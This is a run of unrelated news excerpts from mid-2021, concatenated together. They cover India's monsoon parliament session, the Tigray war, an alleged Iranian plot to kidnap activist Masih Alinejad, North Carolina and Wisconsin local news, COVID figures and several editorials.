The Monsoon Session of Parliament will begin on 19 July and is likely to conclude on Friday, 13 August. Approximately 17 bills are expected to be introduced in the Lok Sabha and the Rajya Sabha during the session.

The BJP's Parliamentary Party is also scheduled to hold an executive meeting on the same day, according to ANI, along with a meeting of the floor leaders of the National Democratic Alliance (NDA).

Also Read: Parliament Monsoon Session From 19 July, Likely to End on 13 Aug

Meanwhile, top BJP leaders and Union Ministers, including party President JP Nadda, Amit Shah and Rajnath Singh, held a meeting on Tuesday evening to discuss matters related to the Monsoon Session and frame the party's strategy to counter the opposition. The meeting was held at Union Minister Rajnath Singh's residence.

Union Ministers Dharmendra Pradhan, Bhupender Yadav and Mukhtar Abbas Naqvi and Ministers of State Arjun Ram Meghwal and V. Muraleedharan, among others, were present in the meeting. Besides them, Joshi also attended the meet, reported IANS.

Since the pandemic began, three sessions of Parliament  Budget, Monsoon and Winter Session  were curtailed and the Winter Session last year had to be cancelled. Last year, the Monsoon session, which usually starts in July, had begun in September.

This year's Monsoon Session comes after a devastating second wave of the COVID-19 pandemic in India, with daily cases having peaked at more than four lakh and deaths at more than 4,000. The wave was marked by a crippling shortage of hospital beds, medical oxygen, and essential medicines.

(With inputs from ANI, IANS and Hindustan Times)

. Read more on Politics by The Quint.Violence in South Africa: Death Toll Rises to 72 as Unrest SpreadsTwitter Is Obsessed With This Picture of Tilda Swinton & Timothee Chalamet . Read more on Politics by The Quint.
By Dawit Endeshaw

ADDIS ABABA (Reuters) -Ethiopia's war in the northern region of Tigray looked set to intensify on Wednesday as the prime minister signalled the end of a government ceasefire and the neighbouring Amhara region said it would go on the offensive against Tigrayan forces.

The Tigray People's Liberation Front (TPLF), which has recaptured most of its home region in the past three weeks after an abrupt reversal in an eight-month war, has vowed to retake western Tigray, an expanse of fertile territory controlled by Amhara forces who seized it during the conflict.

Prime Minister Abiy Ahmed abruptly pulled central government troops out of most of Tigray last month, citing a unilateral ceasefire that the TPLF mocked as "a joke" designed to justify his forces' retreat. Wednesday's statement marked a shift in rhetoric, as Abiy said the ceasefire had failed to deliver.

A spokesman for the Amhara regional government also said the authorities there were rallying their own forces for a counter-attack against Tigrayan forces.

"The regional government has now transitioned from defensive to offensive," Amhara spokesperson Gizachew Muluneh was quoted as saying by the region's state-run Amhara Media Corporation. "Amhara militia and special forces have been systematically trying to defend but now our patience has run out and as of today we have opened an offensive attack."

He did not respond to requests for further comment. On Tuesday the National Movement of Amhara, a major regional political party, called on irregular volunteer militia - known as Fano - to mobilise.

Western Tigray has long been home to large populations of both Tigrayans and Amhara, and renewed fighting between two of Ethiopia's biggest ethnic groups over the territory could drive another wave of refugees from a conflict that has already forced 2 million from their homes.

When Abiy sent troops to fight the TPLF last year, Amhara militia fought on the central government's side, using the opportunity to take control of a swathe of territory administered by Tigrayans for decades.

Story continues

Since Abiy's abrupt withdrawal on June 28, the TPLF has pushed steadily outwards, recapturing most of Tigray. Its forces retook Alamata, the main town in the south, on Monday and pushed across the deep ravine of the Tekeze River to take Mai Tsebri from Amhara control on Tuesday.

But a tougher fight could loom for western Tigray, which the Amhara consider a reclaimed part of their own historic homeland and have vowed to keep under their control.

ABIY STEPS BACK FROM CEASEFIRE

Abiy's more forceful remarks in a statement on Wednesday suggested his government was abandoning its three-week-old emphasis on its ceasefire declaration, proclaimed as government troops abandoned regional capital Mekelle to the advancing TPLF.

"The ceasefire could not bear the desired fruits," he said. "The TPLF...poses a great danger to the sovereignty of the country. The federal government, through mobilising the people of Ethiopia, is determined to curb this threat."

He blamed the TPLF for choosing to fight rather than allow in aid or observe the ceasefire, and accused them of recruiting, drugging and deploying child soldiers.

TPLF spokesman Getachew Reda dismissed the claim.

"We don't have child soldiers because mature soldiers are never in short supply," he told Reuters via satellite phone.

Getachew also repeated that the TPLF welcomes aid, and would not observe a ceasefire while parts of Tigray remained under control of the central government or its allies.

REFUGEES STUCK IN THE MIDDLE

Caught in the middle of the fighting are 23,000 Eritrean refugees sheltering in two camps near the town of Mai Tsebri. Many have already fled the Tigrayan war once when two other refugee camps were destroyed, and told Reuters they had seen refugees kidnapped and killed during previous fighting.

One refugee from Adi Harush camp told Reuters Tigrayan militia were searching refugees' homes and confiscating cell phones.

There is still shooting all around the camp," he said.

Tigrayan militia took about 19 refugees from Adi Harush on Wednesday to an unknown location and one refugee - a Muslim man - was killed after they told him to carry some weapons and he refused, another refugee told Reuters.

"Our forces are not after Eritrean refugees. We will make sure refugees are protected and we are more than ready to investigate any claims," TPLF's Getachew said, adding refugees would be permitted to leave the area if they wished.

Tesfahun Gobezay, head of Ethiopia's refugee agency, said they wanted to relocate the refugees away from fighting as fast as possible.

"We will bring refugees into the high schools as we try to build shelters," he said.

(Reporting by Dawit Endeshaw; additional reporting by Katharine Houreld in Nairobi; Writing by George Obulutsa; Editing by Toby Chopra and Sonya Hepinstall)
Epworth United Methodist Church

1030 Burrage Road NE, Concord. Pastor: Rev. Bill Roberts. Church has reopened its 10 a.m. worship service for attendance. Epworth UMC continues to follow the appropriate COVID-19 social-distancing guidelines as outlined by the N.C. governor and the CDC. We welcome you to join us in worship.

Forest Hill United Methodist Church

265 Union St. N., Concord. Senior pastor: Rev. Mandy Jones. Associate pastor: Rev. Wes Judy. We are open for in-person worship. Contemporary worship: 9 a.m. Sunday school/small groups: 10 a.m. Traditional worship: 11 a.m. Both the contemporary and traditional worship services will be livestreamed at foresthillumc.org or facebook.com/foresthillumc, in case you dont feel like being here in person.

Harmony United Methodist Church

101 White St. NW, Concord. Pastor: Rev. Thad Brown. Services are held in the sanctuary at 11 a.m. The mask requirement has been lifted. People who have been fully vaccinated can attend without a mask. If not, you must wear a mask during the services. Pews are set up for social distancing. Masks are available. Enter from any door. For more information, call the office at 704-782-8237 or pastors phone at 704-791-2883.
CONCORD  Audrea Chapman was recently appointed to the Habitat for Humanity Cabarrus County board of directors. On the surface, that seems to be no big deal. Dig a little deeper, though, and an amazing story emerges.

Twenty years ago, Chapman was in the process of obtaining her own Habitat Cabarrus home, going through the vetting process, putting in the sweat equity hours and taking financial classes  anything needed to get her and her young son into their own home.

We were living with my mom and her husband, and it was a two-bedroom house. My son was 10 at the time and we were sharing a bedroom, recalled Chapman. The house wasnt in bad shape, but it was crowded.

I remember praying every day for the 30 days before I was approved; I prayed every night for the Lords blessing. At the end of the 30 days, I got that house.

Last month, Chapman made the final payment on that house. It is now hers, free and clear, except for the amazing journey and the wonderful memories supplied by the house in Kannapolis.
He also says there had been a premature push to rule out the theory that the coronavirus might have escaped from a Chinese government lab in Wuhan.

I was a lab technician myself, Im an immunologist, and I have worked in the lab, and lab accidents happen, he said. Its common. Checking what happened, especially in our labs, is important and we need information, direct information on what the situation of this lab was before and at the start of the pandemic, then, if we get full information, we can exclude that.

Tedros says the world owed it to the millions who had died to know what happened and to prevent the same crisis from happening again. And thats why we need cooperation.

His words were echoed by Germanys health minister, Jens Spahn, who urged Chinese officials to allow the investigation into the origins of the virus to proceed.



AMSTERDAM  A top official at the European Medicines Agency says a decision on whether to recommend that Modernas COVID-19 vaccine be authorized for children is expected late next week.
ASEAN member states have recommended to Myanmar officials the names of possible ASEAN envoys from Thailand and Indonesia but there has been no response. Two ASEAN representatives who traveled to Myanmar last month asked to meet Suu Kyi and other detainees but were rebuffed, the Southeast Asian diplomat said.

The South China Sea territorial disputes involve four ASEAN states. Ahead of his meeting with ASEAN on Wednesday, Blinken accused China of continuing to coerce and intimidate Southeast Asian coastal states, threatening freedom of navigation in this critical global throughway, and upheld a Trump-era rejection of nearly all of Chinas maritime claims in the region.

China deplored Blinken's remarks, saying he was sowing discord among Asian countries and stoking disputes.

The U.S. always poses as a defender of international law and keeps making an issue of the South China Sea, but it has not joined the UNCLOS, Chinese Foreign Ministry spokesman Zhao Lijian said at a daily briefing, referring to the 1982 U.N. treaty that governs the use of the worlds seas and oceans.

An international arbitration tribunal, acting on a complaint filed by the Philippines, in 2016 declared most of China's sweeping territorial claims invalid. Beijing has refused to recognize the ruling.
A screenshot from the official trailer for Claws of the Red Dragon.

The American campaign against Chinese telecommunications equipment vendor Huawei Technologies will be stepped up a gear this month when former Breitbart editor Steve Bannon releases Claws of the Red Dragon, a film that takes aim at the Shenzhen-based firm.

The 54-minute film, said to be inspired by the arrest of Huawei chief financial officer Meng Wanzhou in Toronto last December, is about a fictional company named Hua Xing and woven around real-life events.

Bannon is the executive director of the film which has been made by New Tang Dynasty Television, a broadcaster based in New York and founded by Falun Gong practitioners.

A US release date has not been set yet but in an interview with the Epoch Times, a newspaper backed by the Falun Gong, Bannon said moves were on to release the film in other countries as well.

Epoch Times was recently banned from running pro-Trump ads on Facebook after NBC Newsthe fact that it was spending more on these ads than any other group outside the campaign to re-elect US President Donald Trump.

In a media release last month, Bannon said of the film: "Claws of the Red Dragon is a seminal and timely work exposing the inner workings of the CCP (Chinese Communist Party and Huawei.

"Run by a radical cadre of the CCP, China's Communism today is the greatest existential threat the West has ever faced.

"Huawei, the technology and telecommunications arm of the CCP and the People's Liberation Army, is the greatest national security threat we have ever faced, as it is already in the process of a global tech domination via 5G and 6G."

For more than two years, the US has been pushing countries it considers allies to avoid using equipment from Chinese companies, Huawei foremost, in 5G networks. But Washington has produced no proof to back up its claims that these products could be used to spy for China.

Australia imposed a ban on Huawei playing a role in its 5G networks in August last year while Japan has said it would do likewise.
"Everybody is here," said Bagelfest organizer Kim Janssen. "It's a celebration and they can come out and just enjoy today. That's what I'm enjoying as I go through there: The carnival is packed, the midway is packed. Tonight it will be, too. This is just a party."
NEW YORK (AP)  An Iranian intelligence officer and three alleged members of an Iranian intelligence network have been charged in Manhattan with plotting to kidnap a prominent Iranian opposition activist and writer in exile and take her back to Tehran, authorities said Tuesday.

An indictment in Manhattan federal court alleges that the plot was part of a wider plan to lure three individuals in Canada and a fifth person in the United Kingdom to Iran. Victims were also targeted in the United Arab Emirates, authorities said.

The identities of the alleged victims were not released but Brooklyn-based Masih Alinejad confirmed that authorities had told her she was among the targeted victims.

I knew that this is the nature of the Islamic Republic, you know, kidnapping people, arresting people, torturing people, killing people. But I couldnt believe it that this is going to happen to me in United States of America," Alinejad told The Associated Press.

Iran's mission to the United Nations did not immediately respond to a request for comment. State media in Tehran did not immediately acknowledge the alleged plot, though Iran has become more aggressive in recent years about seizing opposition journalists and dissidents abroad amid tensions over its tattered nuclear deal.

The indictment acknowledges that, naming an exiled Paris-based journalist later seized by Iran and executed. Also named was a California-based member of an Iranian militant opposition group in exile whose family says he was abducted by Iran while staying in Dubai in 2020. Prosecutors alleged the Iranian intelligence officer had an electronic device containing a graphic of Alinejad alongside those two men, prosecutors said.

Alinejad, who worked for years as a journalist in Iran, long has been targeted by its theocracy after fleeing the country following its disputed 2009 presidential election and crackdown.

She is a prominent figure on Farsi-language satellite channels abroad that critically view Iran and has worked as a contractor for U.S.-funded Voice of Americas Farsi-language network since 2015. She became a U.S. citizen in October 2019.

Her White Wednesday and My Stealthy Freedom campaigns have seen women film themselves without head coverings, or hijabs, in public in Iran, which can bring arrests and fines. Details in the indictment also correspond to Alinejad's biography.

Alinejad said authorities had come to her last year and told her she was being watched, including photos being taken of her home. She said she had been living under U.S. government protection since then, including time spent in various safe houses. She also said the FBI at one point asked her to conduct a live video online to see if Iranian intelligence could track her.

Although not charged in the kidnapping plot, Niloufar Bahadorifar, also known as Nellie, was arrested July 1 in California on charges that she has provided U.S. financial and other services to Iranian residents and entities and some financial services supported the plot and violated sanctions against Iran, according to prosecutors.

The indictment said Bahadorifar, 46, originally from Iran, works at a California department store. Bahadorifar's lawyer, Assistant Federal Defender Martin Cohen, declined to comment.

Bahadorifar has pleaded not guilty to charges lodged at the time of her arrest and been released on bail, authorities said. She still faces arraignment on charges in Tuesday's superseding indictment.

The rest of the defendants are fugitives believed to be based in Iran, authorities said.

Among this countrys most cherished freedoms is the right to speak ones mind without fear of government reprisal," U.S. Attorney Audrey Strauss said. "A U.S. citizen living in the United States must be able to advocate for human rights without being targeted by foreign intelligence operatives."

Every person in the United States must be free from harassment, threats and physical harm by foreign powers," Acting U.S. Assistant Attorney General Mark J. Lesko added. Through this indictment, we bring to light one such pernicious plot to harm an American citizen who was exercising their First Amendment rights.

William F. Sweeney Jr., the head of New York's FBI office, noted that the indictment sounded a bit like some far-fetched movie plot.

We allege a group, backed by the Iranian government, conspired to kidnap a U.S. based journalist here on our soil and forcibly return her to Iran. Not on our watch, he said.

The Iranian intelligence officer, who remains a fugitive, was identified as Alireza Shahvaroghi Farahani.

According to the indictment, Farahani, 50, and three other defendants tried since at least June 2020 to kidnap Alinejad. If caught and convicted, the four could face life in prison.

Farahani and the network he led on multiple occasions in 2020 and 2021 lied about his intentions as he hired private investigators to surveil, photograph and video record Alinejad and her household members, the indictment alleged. It said the surveillance included a live high-definition video feed of the activist's home.

The indictment alleged that the government of Iran in 2018 tried to lure her to a third country so a capture would be possible, even offering money to her relatives to try to make it possible. The relatives, the indictment said, refused the offer. Alinejad's family has been targeted for harassment by the Iranian government, a separate lawsuit filed by the activist in the U.S. alleges.

The others charged in the kidnapping plot were identified as Mahmoud Khazein, 42, Kiya Sadeghi, 35, and Omid Noori, 45, all from Iran.

According to the indictment, Sadeghi researched a service offering military-style speedboats that could perform a maritime evacuation out of New York City that would ultimately reach Venezuela, whose government has friendly relations with Iran.

Khazein, it said, researched travel routes from Alinejad's home to a waterfront neighborhood in Brooklyn and the location of her residence relative to Venezuela and Tehran.

Alinejad said the plot wouldnt stop her from her activism.

I have only one life and Im not going to live in paranoia. Im not going to live in fear, she said. I have two options  feel miserable, make my oppressors feel miserable, so I choose the second one.



Associated Press writer Jon Gambrell in Dubai, United Arab Emirates, contributed to this report.

Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission.

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Haiti needs many things at the moment. American soldiers are not among them.

Interim Prime Minister Claude Joseph asked for U.S. military help after the assassination of President Jovenel Moise. We understand the request, but its one that President Biden should refuse.

If the troops would go to provide security, how long would they stay? Haiti hasnt been a secure country for decades, much less a free one.

And what would be the rules of engagement? No one knows for sure who planned and financed Moises killing. Given the labyrinthian nature of Haitian politics, soldiers could become targets for competing factions.

Still, there are ways for the Biden administration to help. There also are reasons to support such non-military American involvement.

From 1957 until 1986, the United States supported the dictatorial Duvalier regime. It began under Francois Papa Doc and continued under his son, Jean-Claude, known as Baby Doc.

Under the Duvaliers, corruption and autocracy rose. Conditions for most Haitians worsened dramatically. But because the Duvaliers professed to oppose communism, the United States backed the dictatorship.

A final collapse could send many Haitian migrants to the United States. As demonstrators turn out in Cuba, its worth remembering that about 25,000 Haitians came here in 1980, their arrival overshadowed by the Mariel boatlift that simultaneously brought an estimated 125,000 Cubans.

Even if Biden sent troops, and even if those troops restored order, long-term stability might not follow. Recent history supports that pessimism.

In 1991, Jean-Bertrand Aristide became Haitis first freely elected president. After a coup removed Aristide, then-President Bill Clinton worked through the United Nations and used military invention  known as Operation Uphold Democracy  to return Aristide to Haiti in 1994 and restore him to power in 1996.

Success? No. Aristide soon became an autocrat himself, despite having promised a peoples revolution. He served again as president from 2001 to 2004, when a second coup  that Aristide blamed on the George W. Bush administration  ousted him again.

The United States has sent billions in economic aid to Haiti, especially after the 2010 earthquake. Yet the country continues to deteriorate because there is no functioning civil society.

Biden officials correctly have called for scheduled elections to take place this year, despite the assassination. They should try to determine whether Joseph could become a caretaker leader to a democratic transition and support stabilization efforts by the United Nations and/or Organization of American States.

Haiti is the poorest country in the Western Hemisphere and the most dependent on remittances. Building from there would require a long-term transformation. Soldiers have no role.

South Florida Sun-Sentinel (Fort Lauderdale, Florida)

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Tucked away in the 427-page Senate Republican state budget bill is legislation expected to benefit a Forsyth County manufacturer of customized trailers used for special-event marketing, medical, military and other services.

Senate Bill 105 contains the vast majority of the bipartisan Be Pro Be Proud NC language from House Bill 627, which has not been acted upon since being introduced April 22.

However, SB105 does not list the $5 million appropriation contained in HB627. In some instances, bills are submitted solely for the purpose of setting up legislation for inclusion in state budget proposals.

The state funding, along with monies from private industry sources, would play a prominent role in establishing North Carolinas version of the Be Pro Be Proud workforce educational program.

The legislation does not identify a manufacturer. According to The Insider, Spevco Inc. of Pfafftown is the company that would gain the contract to build two trailers.
The U.S. Army has awarded a $231.17 million contract to a Winston-Salem group to operate a transition- and job-assistance program for soldiers returning to civilian life.

Horizon Strategies, founded in 2016 and based in Winston Tower at 301 N. Main St., is an authorized service-disabled, veteran-owned small business.

This is by far our biggest contract to date, as it is such a large contract for a small business to win, said Bill Harmon, Horizons co-founder and president.

The program is mandated by Congress and embedded in Army and Department of Defense policy. It is designed to help all eligible transitioning soldiers acquire the knowledge, skills and resources necessary to be competitive and successful in the global workforce.

Services include career counseling and employment assistance. Services also are available to the soldiers family members and civilian Army employees.

Soldiers sacrifice many years of their career to the Army, and in return, the Army is committed to reintegrating them into the next phase of their life, Allen Batschelet, a retired U.S. Army Major General who serves as chief executive and Horizon co-founder, said in a statement.
Local infectious diseases experts predicted the delta variant would become the predominant COVID-19 strain by the end of July.

In Forsyth, 37,146 residents have tested positive for the virus and 427 have died from COVID-19 related illnesses. About 94% of Forsyth residents infected with COVID are considered as having recovered.

Forsyth has had 123 new cases so far in July.

DHHS lists COVID-19 cases and deaths on the day they are confirmed by medical providers and public health officials, so people may have been infected or may have died days or weeks before their cases were counted.

North Carolina has had 1.02 million COVID-19 cases and 13,512 COVID-19 related deaths, the latter up nine from Tuesdays report.

DHHS said that, for the past six weeks, more than 99% of new COVID-19 cases in North Carolina have occurred in people who are not fully vaccinated.

Novant Health Inc. infectious diseases expert Dr. David Priest has said he expects an increase in cases over the next few weeks, particularly among those who are not vaccinated.
At least two Senate Democrats are necessary for a successful veto override vote at full attendance of 50 senators.

The latest version contains several tax-related proposals.

The corporate income tax rate would be reduced from 2.5% currently to 0% in 2028. The 2.5% rate already is the lowest among the 44 states that have a corporate income tax.

Senate Republicans have insisted for years that getting rid of the corporate income tax is pivotal to North Carolinas long-term economic success.

Since 2013, the rate has been cut from 6.9% by the Republican-controlled legislature to the 2.5% that went into effect in 2019.

Sen. Paul Newton, R-Cabarrus, and primary GOP sponsor of the revamped HB334, expressed confidence June 10 that North Carolina would experience enough growth in other tax revenue streams to offset the losses permitted in the bill through at least 2028.

HB334 also would lower the state income tax from 5.25% to 4.99%, while the states child-tax deduction would increase by $500 to a maximum $3,000 annually for families who claim the federal child tax credit.
But others in conservative media and elected office must know precisely what theyre doing. Theyre rational enough to recognize the timeline the rest of us inhabit, on which we desperately needed miraculous vaccines, miraculously got them and expeditiously distributed them to the willing.

In the case of Fox News celebrities in particular, they must know that discouraging vaccination  by exaggerating risks, highlighting unproven alternative therapies and normalizing anti-vaccine voices  will result in additional, unnecessary deaths. This is hard to get my head around. If someone were to pay me as a columnist to argue that cigarette smoking is healthy for children, or to encourage teenagers to take naps on railroad tracks after underage drinking, I dont think I could make an ethical case for accepting the deal. Should it matter if I belonged to a news network where producing child smokers and trisected teens were institutional policies? Or if one-half of a major political party endorsed such goals? I dont see why.
Both dogfighting and animal torture are class H felonies that can be punished with jail time.

Animals kill for food and to protect their young and their territory.

We think of ourselves as higher beings with more noble reactions to the natural world, but men like these leave us shaking our heads and wondering.

Pagans motive  crass profit  seems obvious. In Dewalds case, we dont know. His actions may be the result of severe mental disturbance or related to abuse hes suffered. If thats the case, he deserves treatment and an opportunity to change.

But he still must be held to account for his actions.

The Sheriffs Office should also look into whoever was watching Dewalds videos online.

Rescuers who assisted police authorities in Gaston County noted that the seven dogs they rescued wagged their tails and were eager for attention.

Its almost as though they knew they were being rescued, one rescuer said. Its gratifying to know that their future lives will be vastly improved.

We may not be able to prevent every act of cruelty, but we can help prevent some, and help rehabilitate dogs that have been subjected to torture, by supporting the local Humane Society and similar organizations  and by raising our children to respect animal life.
Forty Nebraska faith leaders called on Sens. Ben Sasse and Deb Fischer to support passage of the Equality Act in an open letter.

The legislation would amend the Civil Rights Act of 1964 to specifically prohibit discrimination on the basis of sex, sexual orientation and gender identity in employment, housing and public accommodations, education and other areas.

The Senate held a hearing on the bill in March but has taken no action. The House passed its version in February.

In recent weeks, faith leaders in states across the country  including Alaska, Florida, Indiana, Iowa, New York, North Carolina, Ohio, Pennsylvania and West Virginia  have publicly urged their senators to support the Equality Act.

Faith leaders across the Cornhusker state representing different faith traditions are speaking out on why, as a matter of faith, equality for all is vital to our communities and our state, said Abbi Swatsworth, executive director of OutNebraska, an LGBTQ advocacy organization. This letter is a commitment from our faith leaders that we must push forward to a future where no Nebraskan faces discrimination because of who they are or who they love.
Tysharianna Thomas cherished when Nevaeh Martinez would style her hair, her cousin making sure to have a fun time in the process.

"I remember her doing my hair and playing around," Thomas said. "She was always laughing."

But it was also something Martinez took seriously  she would style hair to make money on the side while still a student at Lincoln High. It was, as Thomas remembered, just something she was talented at and wanted to keep doing.

It was an aspiration cut short when the Lincoln native found herself in the wrong place at the wrong time while on a trip to Topeka, Kansas, over the Fourth of July weekend.

Martinez, 17, had been hanging out with friends in a central Topeka neighborhood just before 10:30 p.m. July 3 when she was shot. Martinez, who died the next day at a local hospital, had gone down to Kansas to visit her pregnant mother, who went into labor while she was there, Thomas said.

Daisha Corrina Butler, 21, was arrested last week in connection to the killing and charged with first-degree murder and aggravated battery, according to the Topeka Police Department. Additional details about the shooting were not available, although police are asking those with information to come forward.
These results confirm what we expected, and what we now know  student learning was significantly impacted by COVID-19," Indiana Secretary of Education Katie Jenner said. This data cannot be an indictment on anyone, on anything, on any school. The reality is all of us had a global pandemic.

Wanting to monitor student progress during the pandemic, Indiana education officials still required schools to administer standardized tests in spring of this year, even as many students across the state received instruction virtually or on a hybrid model. The state recorded 97% participation rates on both the English and math sections of the tests for students in grades three to eight, according to the state Education Department.

ILEARN was first administered in 2019. It measures proficiency in various subject starting in third grade, but the main focus is on English/language arts and mathematics in grades three through eight. With federal permission, the assessment was not given in 2020 due to pandemic-related school closures.

State education officials emphasized the 2021 test results should not be compared to those in 2019. Instead, Jenner said schools are being encouraged to use the results to plan how to recover from the pandemics effects on student learning.
We categorically condemn Irans dangerous and despicable reported plot to kidnap a U.S. citizen on U.S. soil, she said.

She said law enforcement actions like those announced Tuesday were part of a strategy to defend U.S. citizens and interests that includes actions taken to defend U.S. forces from Iranian-backed militant groups and diplomatic efforts to constrain Iran's nuclear program.

The indictment in Manhattan federal court described the plot as part of a wider plan to lure three individuals in Canada and a fifth person in the United Kingdom, along with individuals in the United Arab Emirates, to Iran.

The identities of the alleged victims were not released but Brooklyn-based Masih Alinejad confirmed that authorities had told her she was among the targets.

I knew that this is the nature of the Islamic Republic, you know, kidnapping people, arresting people, torturing people, killing people. But I couldnt believe it that this is going to happen to me in United States of America, Alinejad told The Associated Press.
James Fairbanks found out Wednesday what wannabe vigilantism costs you.

Twenty to 35 years in prison, real time.

In May 2020, Fairbanks decided that Mattieo Condoluci didnt deserve to live because Condoluci had been convicted twice of child molestation  in 1994 in Florida and in 2007 in Sarpy County.

Fairbanks had spotted Condoluci leering at children  his story  while he was looking for apartments near Condolucis home. Prosecutors suggested that the killing was premeditated, that Fairbanks had sought to hunt down sex offenders, even mapping out a path to another child molester.

He ended up at Condolucis rental home in northeast Omaha, where he riddled the 64-year-old man with seven shots, many to his torso, one to his temple.

His version: He went to warn Condoluci to stay away from children when Condoluci rushed him at the front door.

Prosecutors version: He assassinated Condoluci in a twisted attempt to be classified as a hero.
President Biden has set a goal of conserving 30% of the nation's lands and waters by 2030 to restore biodiversity, make natural spaces more accessible for all Americans and combat climate change.

"I'd be happy to talk with the governor if he wants a real understanding of the program," Vilsack said. The secretary was governor of Iowa from 1999 to 2007.

Responding to Vilsack's comments, Ricketts said that "there is no way that existing voluntary programs will reach 30% in nine years (and) either the Biden administration is going to fall far short or they aren't telling the whole story."

The plan "provides no detailed plan about how 30% will be achieved," the governor said in a written statement.

If Vilsack reaches out, Ricketts said, he "would be happy to get on the phone to explain why 30-by-30 is a bad deal for Nebraska."

As Ricketts has criss-crossed the state, 50 Nebraska counties have adopted resolutions to block the Biden administration's plan.

"It's hard for me to understand why the governor would be against parks in cities, support of tribal restoration, expansion of fish and wildlife habitat," Vilsack said.
Authorities have released the name of the 22-year-old Illinois man who drowned in Geneva Lake on Tuesday evening.

He has been identified as Fadi A. Albazi of Morton Grove, a northern Chicago suburb, the Geneva Lake Law Enforcement Agency said in a release Wednesday.

On Tuesday, July 13, 2021 at approximately 3:43 p.m., a 911 call was received by Walworth County Communications Center of a possible drowning on Geneva Lake near George Williams College in Williams Bay, according to the release.

Emergency responders from Wisconsin and Northern Illinois came in to assist in locating the missing person. The operation went from rescue to recovery after initial efforts to locate the victim were unsuccessful, and the medical doctor on staff determined that the possibility of recovery of life had passed.

The initial investigation showed the victim was being pulled on an inflatable tube by a boat with five people on board. When the victim fell off the tube, his personal flotation device slipped off. The victim began to struggle to remain above water. Occupants on the boat jumped into the water to try and rescue the victim but were unsuccessful.

The search area was approximately 1,700 feet south of George Williams College.
The officer who killed the alleged shooter was just starting his shift, filling up an undercover unmarked vehicle at the Mobil station in Franksville when the killer pulled into the station, Racine County Sheriff Christopher Schmaling said; an exchange of gunfire followed and the shooter was killed.

The officer was shot but is reported to be conscious and alert, recovering at Ascension All Saints Hospital. The 22-year-old man who was killed at the Pilot station in Caledonia was just filling up his car when he was "executed," according to Schmaling.
Now its easy for me to say as your sheriff  Ive been a sheriff for going on almost 12 years, Ive been this job for 27. My hair probably shows that with the gray hair. But at the end of the day, I love this job, and I have a great staff, and everyone in this room should be proud of the staff that we have. They are out there every day, every night, giving selflessly of themselves. They put their lives on the line.

This investigator today, I him personally; I know his family.

He left this morning to fill up his tank of gas, and he was going to go out and do an operation that I knew about  nothing related to what happened. This was supposed to be another day for him, another day of bringing justice to our community. But it ended in tragedy.
WILLIAMS BAY  The body of a 22-year-old man who slipped under water during a tubing accident has been pulled from Geneva Lake, confirmed Tom Hausner commander of the Geneva Lake Law Enforcement Agency.

He has been identified as Fadi A. Albazi of Morton Grove, a northern Chicago suburb.

Using underwater sonar technology, the body was detected and located Tuesday around 11:45 p.m. in approximately 128 feet of water but due to the depth it was not safe for divers to go down.

In the morning, they were able to use two remote operated vehicles, which function like underwater drones equipped with clamps, to bring in the young man's body, Hausner said. He was pulled from the water at approximately 9:30 a.m.

Hausner said a similar drowning occurred last year in July near Stone Manor, in which an individual's boat floated away while he was swimming without a life jacket on.

Hausner noted that relative to its high boating density, Geneva Lake has been fortunate over the past decade to have seen few fatalities.

The search started on Tuesday afternoon after dispatch received a call at 3:30 p.m. for a man in his 20s who slipped under water.
I came especially for my son who is marching today, said Gaelle Henry from Normandy. Its nice to be able to get out a little bit and finally get some fresh air and think that all the people are here, and that we are getting back to normal a little bit.

Masks were ubiquitous among spectators, and de rigueur for the dignitaries watching the parade under a red-white-and-blue awning emulating the French flag.

The clatter of hundreds of horseshoes accompanied military music as uniformed guards on horseback escorted President Emmanuel Macron. Some cheers rose up from civilian onlookers as Macron rode past restaurants, luxury boutiques and movie theaters that were shuttered for much of the past year and a half.

But not everyone is cheering his handling of the pandemic. Some cafe owners, hospital workers and parents are pushing back against his decision this week to require all French health care workers to get vaccinated, and a special COVID pass for anyone over 12 going to a restaurant.

Many doctors and scientists, meanwhile, are urging tougher measures to contain the virus.
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1. Yes. They are not doing their duty as lawmakers; they should face consequences.

2. Yes. The Democrats may have a point, but they should be required to return to work.

3. No. With no filibuster option available, Democrats would be unable to stop a bad bill.

4. No. Most Texas voters oppose the GOPs voting measures, so they had to be stalled.

5. Unsure. Abbott wants to take a stand, but jailing lawmakers may be too harsh.

Vote

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Skogens Festival Foods will open its newest location at 6 a.m. Friday, July 16, at 4777 South 27th St. in Greenfield, Wisconsin. The store will employ 250 associates and be open daily from 5 a.m.-midnight.

Mark Skogen, president and CEO of Festival Foods, said the company is excited to expand to Greenfield and serve new guests who seek selection, value and service excellence.

Were committed to providing the best grocery shopping experience in Wisconsin, and were excited to greet our newest guests from the Greenfield community, Skogen said.

The 86,500 sq. ft. store will feature Festival Foods traditional favorites, such as a scratch bakery, extensive produce and deli selections, meat and sustainable seafood, a hot food bar, organic foods, wine and spirits, and a variety of take-home meals.

Shoppers will also find Caribou Coffee along with a seating area and prepared fresh food line-up offering Asian stir-fry, Hissho Sushi, pizza and gourmet popcorn.

The opening will bring Milwaukee-area Festival Foods stores to three and total Wisconsin locations to 35. The retailer opened a West Allis location May 21, and a Hales Corners location opened in late 2019.

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Three developers presented their plans to the Community Development Committee Tuesday evening, proposing anywhere from 40-65 units on the block with a mix of low-income and market rate rents. If one of them is chosen by the city, residents could move in around 2023-24.

In April, the city purchased a row of 10 homes on the east side of Fourth Street between Jackson and Mississippi streets with the intention of demolishing the dilapidated structures for a new development.

All of the developers have partnered with local agencies to implement wrap-around services with their facilities, an attempt by the city to not only provide housing to those who are currently unsheltered, but to end the cycle of homelessness for those individuals or families.

Commonwealth Development Corporation of America out of Middleton is proposing the smallest development of the bunch with a three-story, $8.5 million complex. The building would include 40 mid-rise style units, with 10 of those set aside specifically for those transitioning out of homelessness.

The company has partnered with Wisconsin Partnership for Housing Developments, and has contracts with the La Crosse County Veteran Service Office and Couleecap to include their services in the project. The building will host a community room and a space for these services.
United States Trade Representative Katherine Tai will visit La Crosse Friday to tour a nearby farm and host a roundtable on agriculture trade issues with Rep. Ron Kind, D-La Crosse, her office announced Wednesday.

The duo will tour Hamburg Hills Farm in Stoddard on Friday morning, and then host a roundtable with local farmers and small business owners to discuss how trade policy can better help the farming and agriculture industry and its workers.

Kai is visiting Western Wisconsin just two weeks after President Joe Biden made a stop in La Crosse. During his visit, Biden touted his infrastructure plan, but the trip was initially planned to talk agriculture.

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Another member of Bidens cabinet, the United States Secretary of Labor Marty Walsh, also visited La Crosse this spring.
